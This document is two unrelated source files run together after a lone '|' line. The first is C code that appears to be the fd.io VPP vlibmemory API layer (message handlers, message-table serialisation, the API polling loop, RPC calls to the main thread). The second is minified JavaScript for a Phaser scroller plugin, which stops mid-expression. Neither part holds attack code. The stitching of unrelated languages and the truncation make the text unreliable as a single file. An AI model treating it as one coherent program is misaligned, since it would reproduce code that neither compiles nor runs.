#include <vlibmemory/vl_memory_msg_enum.h> /* enumerate all vlib messages */
#define vl_typedefs /* define message structures */
#include <vlibmemory/vl_memory_api_h.h>
#undef vl_typedefs
/* instantiate all the print functions we know about */
#define vl_print(handle, ...) vlib_cli_output (handle, __VA_ARGS__)
#define vl_printfun
#include <vlibmemory/vl_memory_api_h.h>
#undef vl_printfun
static inline void *
vl_api_trace_plugin_msg_ids_t_print (vl_api_trace_plugin_msg_ids_t * a,
void *handle)
{
vl_print (handle, "vl_api_trace_plugin_msg_ids: %s first %u last %u\n",
a->plugin_name,
clib_host_to_net_u16 (a->first_msg_id),
clib_host_to_net_u16 (a->last_msg_id));
return handle;
}
/* instantiate all the endian swap functions we know about */
#define vl_endianfun
#include <vlibmemory/vl_memory_api_h.h>
#undef vl_endianfun
u8 *
vl_api_serialize_message_table (api_main_t * am, u8 * vector)
{
serialize_main_t _sm, *sm = &_sm;
hash_pair_t *hp;
u32 nmsg = hash_elts (am->msg_index_by_name_and_crc);
serialize_open_vector (sm, vector);
/* serialize the count */
serialize_integer (sm, nmsg, sizeof (u32));
/* *INDENT-OFF* */
hash_foreach_pair (hp, am->msg_index_by_name_and_crc,
({
serialize_likely_small_unsigned_integer (sm, hp->value[0]);
serialize_cstring (sm, (char *) hp->key);
}));
/* *INDENT-ON* */
return serialize_close_vector (sm);
}
static void
vl_api_get_first_msg_id_t_handler (vl_api_get_first_msg_id_t * mp)
{
vl_api_get_first_msg_id_reply_t *rmp;
vl_api_registration_t *regp;
uword *p;
api_main_t *am = &api_main;
vl_api_msg_range_t *rp;
u8 name[64];
u16 first_msg_id = ~0;
int rv = -7; /* VNET_API_ERROR_INVALID_VALUE */
regp = vl_api_client_index_to_registration (mp->client_index);
if (!regp)
return;
if (am->msg_range_by_name == 0)
goto out;
strncpy ((char *) name, (char *) mp->name, ARRAY_LEN (name));
name[ARRAY_LEN (name) - 1] = '\0';
p = hash_get_mem (am->msg_range_by_name, name);
if (p == 0)
goto out;
rp = vec_elt_at_index (am->msg_ranges, p[0]);
first_msg_id = rp->first_msg_id;
rv = 0;
out:
rmp = vl_msg_api_alloc (sizeof (*rmp));
rmp->_vl_msg_id = ntohs (VL_API_GET_FIRST_MSG_ID_REPLY);
rmp->context = mp->context;
rmp->retval = ntohl (rv);
rmp->first_msg_id = ntohs (first_msg_id);
vl_api_send_msg (regp, (u8 *) rmp);
}
void
vl_api_api_versions_t_handler (vl_api_api_versions_t * mp)
{
api_main_t *am = &api_main;
vl_api_api_versions_reply_t *rmp;
vl_api_registration_t *reg;
u32 nmsg = vec_len (am->api_version_list);
int msg_size = sizeof (*rmp) + sizeof (rmp->api_versions[0]) * nmsg;
int i;
reg = vl_api_client_index_to_registration (mp->client_index);
if (!reg)
return;
rmp = vl_msg_api_alloc (msg_size);
memset (rmp, 0, msg_size);
rmp->_vl_msg_id = ntohs (VL_API_API_VERSIONS_REPLY);
/* fill in the message */
rmp->context = mp->context;
rmp->count = htonl (nmsg);
for (i = 0; i < nmsg; ++i)
{
api_version_t *vl = &am->api_version_list[i];
rmp->api_versions[i].major = htonl (vl->major);
rmp->api_versions[i].minor = htonl (vl->minor);
rmp->api_versions[i].patch = htonl (vl->patch);
strncpy ((char *) rmp->api_versions[i].name, vl->name,
ARRAY_LEN (rmp->api_versions[i].name));
rmp->api_versions[i].name[ARRAY_LEN (rmp->api_versions[i].name) - 1] =
'\0';
}
vl_api_send_msg (reg, (u8 *) rmp);
}
#define foreach_vlib_api_msg \
_(GET_FIRST_MSG_ID, get_first_msg_id) \
_(API_VERSIONS, api_versions)
/*
* vl_api_init
*/
static int
vlib_api_init (void)
{
vl_msg_api_msg_config_t cfg;
vl_msg_api_msg_config_t *c = &cfg;
memset (c, 0, sizeof (*c));
#define _(N,n) do { \
c->id = VL_API_##N; \
c->name = #n; \
c->handler = vl_api_##n##_t_handler; \
c->cleanup = vl_noop_handler; \
c->endian = vl_api_##n##_t_endian; \
c->print = vl_api_##n##_t_print; \
c->size = sizeof(vl_api_##n##_t); \
c->traced = 1; /* trace, so these msgs print */ \
c->replay = 0; /* don't replay client create/delete msgs */ \
c->message_bounce = 0; /* don't bounce this message */ \
vl_msg_api_config(c);} while (0);
foreach_vlib_api_msg;
#undef _
return 0;
}
u64 vector_rate_histogram[SLEEP_N_BUCKETS];
/*
* Callback to send ourselves a plugin numbering-space trace msg
*/
static void
send_one_plugin_msg_ids_msg (u8 * name, u16 first_msg_id, u16 last_msg_id)
{
vl_api_trace_plugin_msg_ids_t *mp;
api_main_t *am = &api_main;
vl_shmem_hdr_t *shmem_hdr = am->shmem_hdr;
svm_queue_t *q;
mp = vl_msg_api_alloc_as_if_client (sizeof (*mp));
memset (mp, 0, sizeof (*mp));
mp->_vl_msg_id = clib_host_to_net_u16 (VL_API_TRACE_PLUGIN_MSG_IDS);
strncpy ((char *) mp->plugin_name, (char *) name,
sizeof (mp->plugin_name) - 1);
mp->first_msg_id = clib_host_to_net_u16 (first_msg_id);
mp->last_msg_id = clib_host_to_net_u16 (last_msg_id);
q = shmem_hdr->vl_input_queue;
vl_msg_api_send_shmem (q, (u8 *) & mp);
}
void
vl_api_save_msg_table (void)
{
u8 *serialized_message_table;
api_main_t *am = &api_main;
u8 *chroot_file;
int fd, rv;
/*
* Snapshoot the api message table.
*/
if (strstr ((char *) am->save_msg_table_filename, "..")
|| index ((char *) am->save_msg_table_filename, '/'))
{
clib_warning ("illegal save-message-table filename '%s'",
am->save_msg_table_filename);
return;
}
chroot_file = format (0, "/tmp/%s%c", am->save_msg_table_filename, 0);
fd = creat ((char *) chroot_file, 0644);
if (fd < 0)
{
clib_unix_warning ("creat");
return;
}
serialized_message_table = vl_api_serialize_message_table (am, 0);
rv = write (fd, serialized_message_table,
vec_len (serialized_message_table));
if (rv != vec_len (serialized_message_table))
clib_unix_warning ("write");
rv = close (fd);
if (rv < 0)
clib_unix_warning ("close");
vec_free (chroot_file);
vec_free (serialized_message_table);
}
static uword
vl_api_clnt_process (vlib_main_t * vm, vlib_node_runtime_t * node,
vlib_frame_t * f)
{
int private_segment_rotor = 0, i, rv;
vl_socket_args_for_process_t *a;
vl_shmem_hdr_t *shm;
svm_queue_t *q;
clib_error_t *e;
api_main_t *am = &api_main;
f64 dead_client_scan_time;
f64 sleep_time, start_time;
f64 vector_rate;
clib_error_t *error;
uword event_type;
uword *event_data = 0;
f64 now;
if ((error = vl_sock_api_init (vm)))
{
clib_error_report (error);
clib_warning ("socksvr_api_init failed, quitting...");
return 0;
}
if ((rv = vlib_api_init ()) < 0)
{
clib_warning ("vlib_api_init returned %d, quitting...", rv);
return 0;
}
shm = am->shmem_hdr;
q = shm->vl_input_queue;
e = vlib_call_init_exit_functions
(vm, vm->api_init_function_registrations, 1 /* call_once */ );
if (e)
clib_error_report (e);
sleep_time = 10.0;
dead_client_scan_time = vlib_time_now (vm) + 10.0;
/*
* Send plugin message range messages for each plugin we loaded
*/
for (i = 0; i < vec_len (am->msg_ranges); i++)
{
vl_api_msg_range_t *rp = am->msg_ranges + i;
send_one_plugin_msg_ids_msg (rp->name, rp->first_msg_id,
rp->last_msg_id);
}
/*
* Save the api message table snapshot, if configured
*/
if (am->save_msg_table_filename)
vl_api_save_msg_table ();
/* $$$ pay attention to frame size, control CPU usage */
while (1)
{
/*
* There's a reason for checking the queue before
* sleeping. If the vlib application crashes, it's entirely
* possible for a client to enqueue a connect request
* during the process restart interval.
*
* Unless some force of physics causes the new incarnation
* of the application to process the request, the client will
* sit and wait for Godot...
*/
vector_rate = vlib_last_vector_length_per_node (vm);
start_time = vlib_time_now (vm);
while (1)
{
if (vl_mem_api_handle_msg_main (vm, node))
{
vm->api_queue_nonempty = 0;
VL_MEM_API_LOG_Q_LEN ("q-underflow: len %d", 0);
sleep_time = 20.0;
break;
}
/* Allow no more than 10us without a pause */
if (vlib_time_now (vm) > start_time + 10e-6)
{
int index = SLEEP_400_US;
if (vector_rate > 40.0)
sleep_time = 400e-6;
else if (vector_rate > 20.0)
{
index = SLEEP_200_US;
sleep_time = 200e-6;
}
else if (vector_rate >= 1.0)
{
index = SLEEP_100_US;
sleep_time = 100e-6;
}
else
{
index = SLEEP_10_US;
sleep_time = 10e-6;
}
vector_rate_histogram[index] += 1;
break;
}
}
/*
* see if we have any private api shared-memory segments
* If so, push required context variables, and process
* a message.
*/
if (PREDICT_FALSE (vec_len (am->vlib_private_rps)))
{
if (private_segment_rotor >= vec_len (am->vlib_private_rps))
private_segment_rotor = 0;
vl_mem_api_handle_msg_private (vm, node, private_segment_rotor++);
}
vlib_process_wait_for_event_or_clock (vm, sleep_time);
vec_reset_length (event_data);
event_type = vlib_process_get_events (vm, &event_data);
now = vlib_time_now (vm);
switch (event_type)
{
case QUEUE_SIGNAL_EVENT:
vm->queue_signal_pending = 0;
VL_MEM_API_LOG_Q_LEN ("q-awake: len %d", q->cursize);
break;
case SOCKET_READ_EVENT:
for (i = 0; i < vec_len (event_data); i++)
{
a = pool_elt_at_index (socket_main.process_args, event_data[i]);
vl_socket_process_api_msg (a->clib_file, a->regp,
(i8 *) a->data);
vec_free (a->data);
pool_put (socket_main.process_args, a);
}
break;
/* Timeout... */
case -1:
break;
default:
clib_warning ("unknown event type %d", event_type);
break;
}
if (now > dead_client_scan_time)
{
vl_mem_api_dead_client_scan (am, shm, now);
dead_client_scan_time = vlib_time_now (vm) + 10.0;
}
}
return 0;
}
/* *INDENT-OFF* */
VLIB_REGISTER_NODE (vl_api_clnt_node) =
{
.function = vl_api_clnt_process,
.type = VLIB_NODE_TYPE_PROCESS,
.name = "api-rx-from-ring",
.state = VLIB_NODE_STATE_DISABLED,
};
/* *INDENT-ON* */
void
vl_mem_api_enable_disable (vlib_main_t * vm, int enable)
{
vlib_node_set_state (vm, vl_api_clnt_node.index,
(enable
? VLIB_NODE_STATE_POLLING
: VLIB_NODE_STATE_DISABLED));
}
static uword
api_rx_from_node (vlib_main_t * vm,
vlib_node_runtime_t * node, vlib_frame_t * frame)
{
uword n_packets = frame->n_vectors;
uword n_left_from;
u32 *from;
static u8 *long_msg;
vec_validate (long_msg, 4095);
n_left_from = frame->n_vectors;
from = vlib_frame_args (frame);
while (n_left_from > 0)
{
u32 bi0;
vlib_buffer_t *b0;
void *msg;
uword msg_len;
bi0 = from[0];
b0 = vlib_get_buffer (vm, bi0);
from += 1;
n_left_from -= 1;
msg = b0->data + b0->current_data;
msg_len = b0->current_length;
if (b0->flags & VLIB_BUFFER_NEXT_PRESENT)
{
ASSERT (long_msg != 0);
_vec_len (long_msg) = 0;
vec_add (long_msg, msg, msg_len);
while (b0->flags & VLIB_BUFFER_NEXT_PRESENT)
{
b0 = vlib_get_buffer (vm, b0->next_buffer);
msg = b0->data + b0->current_data;
msg_len = b0->current_length;
vec_add (long_msg, msg, msg_len);
}
msg = long_msg;
}
vl_msg_api_handler_no_trace_no_free (msg);
}
/* Free what we've been given. */
vlib_buffer_free (vm, vlib_frame_args (frame), n_packets);
return n_packets;
}
/* *INDENT-OFF* */
VLIB_REGISTER_NODE (api_rx_from_node_node,static) = {
.function = api_rx_from_node,
.type = VLIB_NODE_TYPE_INTERNAL,
.vector_size = 4,
.name = "api-rx-from-node",
};
/* *INDENT-ON* */
static void
vl_api_rpc_call_t_handler (vl_api_rpc_call_t * mp)
{
vl_api_rpc_call_reply_t *rmp;
int (*fp) (void *);
i32 rv = 0;
vlib_main_t *vm = vlib_get_main ();
if (mp->function == 0)
{
rv = -1;
clib_warning ("rpc NULL function pointer");
}
else
{
if (mp->need_barrier_sync)
vlib_worker_thread_barrier_sync (vm);
fp = uword_to_pointer (mp->function, int (*)(void *));
rv = fp (mp->data);
if (mp->need_barrier_sync)
vlib_worker_thread_barrier_release (vm);
}
if (mp->send_reply)
{
svm_queue_t *q = vl_api_client_index_to_input_queue (mp->client_index);
if (q)
{
rmp = vl_msg_api_alloc_as_if_client (sizeof (*rmp));
rmp->_vl_msg_id = ntohs (VL_API_RPC_CALL_REPLY);
rmp->context = mp->context;
rmp->retval = rv;
vl_msg_api_send_shmem (q, (u8 *) & rmp);
}
}
if (mp->multicast)
{
clib_warning ("multicast not yet implemented...");
}
}
static void
vl_api_rpc_call_reply_t_handler (vl_api_rpc_call_reply_t * mp)
{
clib_warning ("unimplemented");
}
void
vl_api_send_pending_rpc_requests (vlib_main_t * vm)
{
api_main_t *am = &api_main;
vl_shmem_hdr_t *shmem_hdr = am->shmem_hdr;
svm_queue_t *q;
int i;
/*
* Use the "normal" control-plane mechanism for the main thread.
* Well, almost. if the main input queue is full, we cannot
* block. Otherwise, we can expect a barrier sync timeout.
*/
q = shmem_hdr->vl_input_queue;
for (i = 0; i < vec_len (vm->pending_rpc_requests); i++)
{
while (pthread_mutex_trylock (&q->mutex))
vlib_worker_thread_barrier_check ();
while (PREDICT_FALSE (svm_queue_is_full (q)))
{
pthread_mutex_unlock (&q->mutex);
vlib_worker_thread_barrier_check ();
while (pthread_mutex_trylock (&q->mutex))
vlib_worker_thread_barrier_check ();
}
vl_msg_api_send_shmem_nolock (q, (u8 *) (vm->pending_rpc_requests + i));
pthread_mutex_unlock (&q->mutex);
}
_vec_len (vm->pending_rpc_requests) = 0;
}
always_inline void
vl_api_rpc_call_main_thread_inline (void *fp, u8 * data, u32 data_length,
u8 force_rpc)
{
vl_api_rpc_call_t *mp;
vlib_main_t *vm = vlib_get_main ();
/* Main thread and not a forced RPC: call the function directly */
if ((force_rpc == 0) && (vlib_get_thread_index () == 0))
{
void (*call_fp) (void *);
vlib_worker_thread_barrier_sync (vm);
call_fp = fp;
call_fp (data);
vlib_worker_thread_barrier_release (vm);
return;
}
/* Otherwise, actually do an RPC */
mp = vl_msg_api_alloc_as_if_client (sizeof (*mp) + data_length);
memset (mp, 0, sizeof (*mp));
clib_memcpy (mp->data, data, data_length);
mp->_vl_msg_id = ntohs (VL_API_RPC_CALL);
mp->function = pointer_to_uword (fp);
mp->need_barrier_sync = 1;
vec_add1 (vm->pending_rpc_requests, (uword) mp);
}
/*
* Check if called from worker threads.
* If so, make rpc call of fp through shmem.
* Otherwise, call fp directly
*/
void
vl_api_rpc_call_main_thread (void *fp, u8 * data, u32 data_length)
{
vl_api_rpc_call_main_thread_inline (fp, data, data_length, /*force_rpc */
0);
}
/*
* Always make rpc call of fp through shmem, useful for calling from threads
* not setup as worker threads, such as DPDK callback thread
*/
void
vl_api_force_rpc_call_main_thread (void *fp, u8 * data, u32 data_length)
{
vl_api_rpc_call_main_thread_inline (fp, data, data_length, /*force_rpc */
1);
}
static void
vl_api_trace_plugin_msg_ids_t_handler (vl_api_trace_plugin_msg_ids_t * mp)
{
api_main_t *am = &api_main;
vl_api_msg_range_t *rp;
uword *p;
/* Noop (except for tracing) during normal operation */
if (am->replay_in_progress == 0)
return;
p = hash_get_mem (am->msg_range_by_name, mp->plugin_name);
if (p == 0)
{
clib_warning ("WARNING: traced plugin '%s' not in current image",
mp->plugin_name);
return;
}
rp = vec_elt_at_index (am->msg_ranges, p[0]);
if (rp->first_msg_id != clib_net_to_host_u16 (mp->first_msg_id))
{
clib_warning ("WARNING: traced plugin '%s' first message id %d not %d",
mp->plugin_name, clib_net_to_host_u16 (mp->first_msg_id),
rp->first_msg_id);
}
if (rp->last_msg_id != clib_net_to_host_u16 (mp->last_msg_id))
{
clib_warning ("WARNING: traced plugin '%s' last message id %d not %d",
mp->plugin_name, clib_net_to_host_u16 (mp->last_msg_id),
rp->last_msg_id);
}
}
#define foreach_rpc_api_msg \
_(RPC_CALL,rpc_call) \
_(RPC_CALL_REPLY,rpc_call_reply)
#define foreach_plugin_trace_msg \
_(TRACE_PLUGIN_MSG_IDS,trace_plugin_msg_ids)
/*
* Set the rpc callback at our earliest possible convenience.
* This avoids ordering issues between thread_init() -> start_workers and
* an init function which we could define here. If we ever intend to use
* vlib all by itself, we can't create a link-time dependency on
* an init function here and a typical "call foo_init first"
* guitar lick.
*/
extern void *rpc_call_main_thread_cb_fn;
static clib_error_t *
rpc_api_hookup (vlib_main_t * vm)
{
api_main_t *am = &api_main;
#define _(N,n) \
vl_msg_api_set_handlers(VL_API_##N, #n, \
vl_api_##n##_t_handler, \
vl_noop_handler, \
vl_noop_handler, \
vl_api_##n##_t_print, \
sizeof(vl_api_##n##_t), 0 /* do not trace */);
foreach_rpc_api_msg;
#undef _
#define _(N,n) \
vl_msg_api_set_handlers(VL_API_##N, #n, \
vl_api_##n##_t_handler, \
vl_noop_handler, \
vl_noop_handler, \
vl_api_##n##_t_print, \
sizeof(vl_api_##n##_t), 1 /* do trace */);
foreach_plugin_trace_msg;
#undef _
/* No reason to halt the parade to create a trace record... */
am->is_mp_safe[VL_API_TRACE_PLUGIN_MSG_IDS] = 1;
rpc_call_main_thread_cb_fn = vl_api_rpc_call_main_thread;
return 0;
}
VLIB_API_INIT_FUNCTION (rpc_api_hookup);
/*
* fd.io coding-style-patch-verification: ON
*
* Local Variables:
* eval: (c-set-style "gnu")
* End:
*/
|
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof globalThis?globalThis:t||self).rexscrollerplugin=e()}(this,function(){"use strict";function s(t){return(s="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function l(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function n(t,e){for(var i=0;i<e.length;i++){var n=e[i];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(t,n.key,n)}}function r(t,e,i){return e&&n(t.prototype,e),i&&n(t,i),t}function t(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&i(t,e)}function a(t){return(a=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}function i(t,e){return(i=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function c(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}function o(r){var o=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(t){return!1}}();return function(){var t,e,i,n=a(r);if(o){var s=a(this).constructor;t=Reflect.construct(n,arguments,s)}else t=n.apply(this,arguments);return e=this,!(i=t)||"object"!=typeof i&&"function"!=typeof i?c(e):i}}function v(t,e,i){return(v="undefined"!=typeof Reflect&&Reflect.get?Reflect.get:function(t,e,i){var n=function(t,e){for(;!Object.prototype.hasOwnProperty.call(t,e)&&null!==(t=a(t)););return t}(t,e);if(n){var s=Object.getOwnPropertyDescriptor(n,e);return s.get?s.get.call(i):s.value}})(t,e,i||t)}function h(t){return t instanceof u}var e={setEventEmitter:function(t,e){return void 0===e&&(e=Phaser.Events.EventEmitter),this._privateEE=!0===t||void 0===t,this._eventEmitter=this._privateEE?new e:t,this},destroyEventEmitter:function(){return this._eventEmitter&&this._privateEE&&this._eventEmitter.shutdown(),this},getEventEmitter:function(){return this._eventEmitter},on:function(){return this._eventEmitter&&this._eventEmitter.on.apply(this._eventEmitter,arguments),this},once:function(){return this._eventEmitter&&this._eventEmitter.once.apply(this._eventEmitter,arguments),this},off:function(){return this._eventEmitter&&this._eventEmitter.off.apply(this._eventEmitter,arguments),this},emit:function(t){return this._eventEmitter&&t&&this._eventEmitter.emit.apply(this._eventEmitter,arguments),this},addListener:function(){return this._eventEmitter&&this._eventEmitter.addListener.apply(this._eventEmitter,arguments),this},removeListener:function(){return this._eventEmitter&&this._eventEmitter.removeListener.apply(this._eventEmitter,arguments),this},removeAllListeners:function(){return this._eventEmitter&&this._eventEmitter.removeAllListeners.apply(this._eventEmitter,arguments),this},listenerCount:function(){return this._eventEmitter?this._eventEmitter.listenerCount.apply(this._eventEmitter,arguments):0},listeners:function(){return this._eventEmitter?this._eventEmitter.listeners.apply(this._eventEmitter,arguments):[]}},u=Phaser.Scene,d=Phaser.Utils.Objects.GetValue,f=function(){function n(t,e){var i;l(this,n),this.parent=t,this.scene=null==(i=t)||"object"!==s(i)?null:h(i)?i:i.scene&&h(i.scene)?i.scene:i.parent&&i.parent.scene&&h(i.parent.scene)?i.parent.scene:void 0,this.isShutdown=!1,this.setEventEmitter(d(e,"eventEmitter",!0)),this.parent&&this.parent===this.scene?this.scene.events.once("shutdown",this.onSceneDestroy,this):this.parent&&this.parent.once&&this.parent.once("destroy",this.onParentDestroy,this)}return r(n,[{key:"shutdown",value:function(){this.isShutdown||(this.parent&&this.parent===this.scene?this.scene.events.off("shutdown",this.onSceneDestroy,this):this.parent&&this.parent.once&&this.parent.off("destroy",this.onParentDestroy,this),this.destroyEventEmitter(),this.parent=void 0,this.scene=void 0,this.isShutdown=!0)}},{key:"destroy",value:function(t){this.shutdown(t)}},{key:"onSceneDestroy",value:function(){this.destroy(!0)}},{key:"onParentDestroy",value:function(t,e){this.destroy(e)}}]),n}();Object.assign(f.prototype,e);var p=function(t,e,i){if(t&&"number"!=typeof t){if(t.hasOwnProperty(e))return t[e];if(-1===e.indexOf("."))return i;for(var n=e.split("."),s=t,r=i,o=0;o<n.length;o++){if(!s.hasOwnProperty(n[o])){r=i;break}r=s[n[o]],s=s[n[o]]}return r}return i},y=function(){function o(t){l(this,o);var e=p(t,"states",void 0);e&&this.addStates(e);var i=p(t,"extend",void 0);if(i)for(var n in i)this.hasOwnProperty(n)&&void 0!==this[n]||(this[n]=i[n]);var s=p(t,"eventEmitter",void 0),r=p(t,"EventEmitterClass",void 0);this.setEventEmitter(s,r),this._stateLock=!1,this.resetFromJSON(t)}return r(o,[{key:"shutdown",value:function(){this.destroyEventEmitter()}},{key:"destroy",value:function(){this.shutdown()}},{key:"resetFromJSON",value:function(t){this.setEnable(p(t,"enable",!0)),this.start(p(t,"start",void 0));var e=p(t,"init",void 0);return e&&e.call(this),this}},{key:"toJSON",value:function(){return{curState:this.state,prevState:this.prevState,enable:this.enable,start:this._start}}},{key:"setEnable",value:function(t){return void 0===t&&(t=!0),this.enable=t,this}},{key:"state",get:function(){return this._state},set:function(t){if(this.enable&&!this._stateLock&&this._state!==t){if(this._prevState=this._state,this._state=t,this._stateLock=!0,this.emit("statechange",this),null!=this._prevState){var e="exit_"+this._prevState,i=this[e];i&&i.call(this),this.emit(e,this)}if(this._stateLock=!1,null!=this._state){var n="enter_"+this._state,s=this[n];s&&s.call(this),this.emit(n,this)}}}},{key:"prevState",get:function(){return this._prevState}},{key:"start",value:function(t){return this._start=t,this._prevState=void 0,this._state=t,this}},{key:"goto",value:function(t){return null!=t&&(this.state=t),this}},{key:"next",value:function(){var t,e=this["next_"+this.state];return e&&(t="string"==typeof e?e:e.call(this)),this.goto(t),this}},{key:"addState",value:function(t,e){var i=p(e,"next",void 0);i&&(this["next_"+t]=i);var n=p(e,"exit",void 0);n&&(this["exit_"+t]=n);var s=p(e,"enter",void 0);return s&&(this["enter_"+t]=s),this}},{key:"addStates",value:function(t){for(var e in t)this.addState(e,t[e]);return this}},{key:"update",value:function(t,e,i){void 0===i&&(i="update");var n=this[i+"_"+this.state];n&&n.call(this,t,e)}},{key:"preupdate",value:function(t,e){this.update(t,e,"preupdate")}},{key:"postupdate",value:function(t,e){this.update(t,e,"postupdate")}}]),o}();Object.assign(y.prototype,e);var m=function(){t(s,y);var n=o(s);function s(t,e){var i;return l(this,s),(i=n.call(this,e)).parent=t,i.init(),i}return r(s,[{key:"init",value:function(){this.start("IDLE")}},{key:"next_IDLE",value:function(){var t,e=this.parent;return e.dragState.isDown&&(t=0===e.dragThreshold?"DRAG":"DRAGBEGIN"),t}},{key:"update_IDLE",value:function(){this.next()}},{key:"next_DRAGBEGIN",value:function(){var t=this.parent,e=t.dragState;return e.isDown?e.pointer.getDistance()>=t.dragThreshold?"DRAG":"DRAGBEGIN":"IDLE"}},{key:"update_DRAGBEGIN",value:function(){this.next()}},{key:"next_DRAG",value:function(){var t,e=this.parent;return e.dragState.isUp&&(t=e.outOfBounds?"BACK":e.slidingEnable?"SLIDE":"IDLE"),t}},{key:"update_DRAG",value:function(){var t=this.parent;t.dragState.justMoved&&t.dragging(),this.next()}},{key:"next_SLIDE",value:function(){var t,e=this.parent;return e.dragState.isDown?t="DRAG":e.isSliding||(t="IDLE"),t}},{key:"enter_SLIDE",value:function(){this.parent.onSliding()}},{key:"exit_SLIDE",value:function(){this.parent.stop()}},{key:"update_SLIDE",value:function(t,e){this.parent.sliding(t,e),this.next()}},{key:"next_BACK",value:function(){var t,e=this.parent;return e.dragState.isDown?t="DRAG":e.isPullBack||(t="IDLE"),t}},{key:"enter_BACK",value:function(){this.parent.onPullBack()}},{key:"exit_BACK",value:function(){this.parent.stop()}},{key:"update_BACK",value:function(t,e){this.parent.pullBack(t,e),this.next()}}]),s}(),k=Phaser.Utils.Objects.GetValue,g=Phaser.Math.Distance.Between,_=function(){t(s,f);var n=o(s);function s(t,e){var i;return l(this,s),(i=n.call(this,t,e))._enable=void 0,t.setInteractive(k(e,"inputConfig",void 0)),i.resetFromJSON(e),i.boot(),i}return r(s,[{key:"resetFromJSON",value:function(t){return this.pointer=void 0,this.isInTouched=!1,this.holdStartTime=void 0,this.x=void 0,this.y=void 0,this.preX=void 0,this.preY=void 0,this.localX=void 0,this.localY=void 0,this.justMoved=!1,this.setEnable(k(t,"enable",!0)),this.holdThreshold=k(t,"holdThreshold",50),this}},{key:"boot",value:function(){this.parent.on("pointerdown",this.onPointIn,this),this.parent.on("pointerup",this.onPointOut,this),this.parent.on("pointerout",this.onPointOut,this),this.parent.on("pointermove",this.onPointerMove,this),this.scene.events.on("preupdate",this.preupdate,this)}},{key:"shutdown",value:function(t){this.isShutdown||(this.scene.events.off("preupdate",this.preupdate,this),this.pointer=void 0,v(a(s.prototype),"shutdown",this).call(this,t))}},{key:"enable",get:function(){return this._enable},set:function(t){this._enable!==t&&(t||(this.isInTouched=!1,this.pointer=void 0),this._enable=t)}},{key:"setEnable",value:function(t){return void 0===t&&(t=!0),this.enable=t,this}},{key:"toggleEnable",value:function(){return this.setEnable(!this.enable),this}},{key:"isDown",get:function(){return this.pointer&&this.pointer.isDown}},{key:"isUp",get:function(){return!this.isDown}},{key:"dx",get:function(){return this.x-this.preX}},{key:"dy",get:function(){return this.y-this.preY}},{key:"dt",get:function(){return this.scene.sys.game.loop.delta}},{key:"speed",get:function(){return this.x===this.preX&&this.y===this.preY?0:g(this.preX,this.preY,this.x,this.y)/(.001*this.dt)}},{key:"speedX",get:function(){return this.dx/(.001*this.dt)}},{key:"speedY",get:function(){return this.dy/(.001*this.dt)}},{key:"onPointIn",value:function(t,e,i){this.enable&&t.isDown&&void 0===this.pointer&&(this.pointer=t,this.localX=e,this.localY=i)}},{key:"onPointOut",value:function(t){this.enable&&this.pointer===t&&(this.pointer=void 0)}},{key:"onPointerMove",value:function(t,e,i){this.enable&&t.isDown&&this.pointer===t&&(this.localX=e,this.localY=i)}},{key:"preupdate",value:function(t){if(this.enable){var e=this.pointer;this.justMoved=!1,e&&!this.isInTouched?(this.x=e.x,this.y=e.y,this.preX=e.x,this.preY=e.y,this.isInTouched=!0,this.holdStartTime=void 0,this.emit("touchstart",e,this.localX,this.localY)):e&&this.isInTouched?this.x===e.x&&this.y===e.y?void 0===this.holdStartTime?this.holdStartTime=t:t-this.holdStartTime>this.holdThreshold&&(this.preX=this.x,this.preY=this.y):(this.preX=this.x,this.preY=this.y,this.x=e.x,this.y=e.y,this.holdStartTime=void 0,this.justMoved=!0,this.emit("touchmove",e,this.localX,this.localY)):!e&&this.isInTouched&&(this.isInTouched=!1,this.holdStartTime=void 0,this.emit("touchend",e))}}}]),s}(),b=Phaser.Utils.Objects.GetValue,E=function(){function e(t){l(this,e),this.resetFromJSON(t)}return r(e,[{key:"resetFromJSON",value:function(t){return this.setValue(b(t,"value",0)),this.setSpeed(b(t,"speed",0)),this.setAcceleration(b(t,"acceleration",0)),this}},{key:"reset",value:function(){this.setValue(0),this.setSpeed(0),this.setAcceleration(0)}},{key:"setValue",value:function(t){return this.value=t,this}},{key:"setSpeed",value:function(t){return this.speed=t,this}},{key:"setAcceleration",value:function(t){return this.acceleration=t,this}},{key:"updateSpeed",value:function(t){return 0!==this.acceleration&&(this.speed+=this.acceleration*t,this.speed<0&&(this.speed=0)),this}},{key:"getDeltaValue",value:function(t){return this.updateSpeed(t),this.speed<=0?0:this.speed*t}},{key:"update",value:function(t){return this.updateSpeed(t),0<this.speed&&(this.value+=this.getDeltaValue(t)),this}},{key:"isMoving",get:function(){return 0<this.speed}}]),e}(),S=function(){function t(){l(this,t),this.value,this.dir,this.movement=new E}return r(t,[{key:"init",value:function(t,e,i,n,s){return this.value=t,this.end=s,this.dir=void 0!==s?t<s:e,this.movement.setSpeed(i).setAcceleration(-n),this}},{key:"stop",value:function(){this.movement.reset()}},{key:"update",value:function(t){var e=this.movement.getDeltaValue(t);return this.dir||(e=-e),void 0===this.end?this.value+=e:0===e?this.value=this.end:(this.value+=e,this.dir?this.value>this.end&&(this.value=this.end):this.value<this.end&&(this.value=this.end)),this}},{key:"isMoving",get:function(){return this.movement.isMoving}}]),t}(),D=Phaser.Utils.Objects.GetValue,w=function(){t(u,f);var h=o(u);function u(t,e){var i;l(this,u),i=h.call(this,t,e);var n=D(e,"enable",!0),s={enable:n,eventEmitter:!1};i._state=new m(c(i),s);var r={inputConfig:D(e,"inputConfig",void 